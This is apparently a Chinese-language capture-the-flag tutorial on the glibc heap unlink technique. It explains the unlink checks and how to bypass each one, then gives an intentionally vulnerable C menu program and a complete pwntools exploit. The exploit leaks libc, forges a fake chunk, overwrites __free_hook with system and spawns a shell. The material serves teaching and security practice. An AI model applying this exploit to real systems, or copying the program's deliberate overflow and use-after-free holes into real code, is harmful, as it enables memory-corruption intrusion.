目录
前言
一、Unlink介绍
二、保护和限制
(1)FD->bk == P AND BK->fd == P
(2)chunksize(P) == prev_size(next_chunk(P))
(3)largebin chunk
三、适用场景
四、利用与绕过
(1)保护一绕过
(2)保护二绕过
(3)检查三绕过
(4)其他trick
五、测试代码与模板
前言
Unlink是一个堆管理中的一个操作,用于将bin中双向链表组织的堆块从链中取出。然而,我们可以利用这一过程进行的写操作,满足条件的情况下实现任意地址读写。
一、Unlink介绍
在除了fastbin、tcachebin的其他空闲堆块的管理bin中,如shortbin、largebin、unsortedbin,内部组织都是双向链表。如下图(示意图来自好好说话之unlink-CSDN博客 )
当需要将second_chunk脱链时,使用unlink对second_chunk操作。不难看出,实际上是这样一个过程:
我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个
这样“我”就可以取出,因为链上已经没有指针指向“我”,即所谓的脱链。代码上看既是:
(“我”->fd)->bk=(“我”->bk)->fd
转换一下:
FD->bk = BK;BK->fd = FD
其中FD=“我”->fd,BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
...
}
}
二、保护和限制
(1)FD->bk == P AND BK->fd == P
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
很明显这个操作是对FD->bk和BK->fd的简单检查
简单来说,(尚未脱链的)链表中:
我的下一个的上一个 == 我 == 我的上一个的下一个
(2)chunksize(P) == prev_size(next_chunk(P))
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");
这一个操作也很好理解其思路
简单来说
一个堆块的size保存在两个部分:
堆块头头部字段(size),物理相邻的下一个堆块(prev_size)
这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)。
(3)largebin chunk
if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查
三、适用场景
首先讲一下Unlink的利用场景。
1、chunk_list
2、overflow
题目往往会有这样一个场景:一个list数组,内部保存了一些heap分配来的指针。
然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了,这样就做到了任意地址读写。
简单的话,这个数组保存在bss段上,再不济是这个数组也是heap分配来的,难一点可能PIE开启了。总之,我们会想方设法得到这个数组的地址。然后开始进行后续利用
四、利用与绕过
(1)保护一绕过
我们可以构造一个fakechunk,使得:
fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10
结合上图看就很容易理解了——对于fakechunk来说,是不是满足了P->fd->bk==P==P->bk->fd?
(2)保护二绕过
有两种方法:
1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。
很直接,没什么好说的
2.将 size 和 prev_size 修改为 0 。
这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改,实际上next_chunk(P)=P,自然也能满足条件。
但是glibc-2.29 起多了对 size 和 prev_size 的检查,第二种方式失效。
(3)检查三绕过
更简单了,,不要申请largebin大小的chunk,申请smallbin范围内的chunk即可。。。
(4)其他trick
触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。
unlink必然是在双向链表的场景,怎么保证呢?这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1,所以凡是prev_inuse位置为0,那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。
因此我们需要溢出来将prev_inuse来置为0,所以在只有off-by-null或者off-by-one的情况下即可利用。
为什么溢出一位即可利用,chunk的size字段前还有prev_size字段,也是需要溢出写的呀?
如果溢出字节数够多,自然没什么可讨论的。
如果只能溢出一个字节呢?其实这个字段并不需要溢出就能修改,chunk具有prev_size复用的情况存在,即,如果当前chunk被启用,会视申请chunk的大小,选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了,那么下一个chunk肯定不会和上一个合并,也就用不到prev_size字段,这是空间利用的一种优化。
读者可以试着申请一下(64位下)0x18大小的堆块(当然0x25,0x107等都可以)只要个位是(1~8),即可触发这一复用。
五、测试代码与模板
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))
# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0 fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10) # 4040c0+4*8=4040e0
fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0) #prev_size
fake_chunk+=p64(fake_size) #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)
payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive()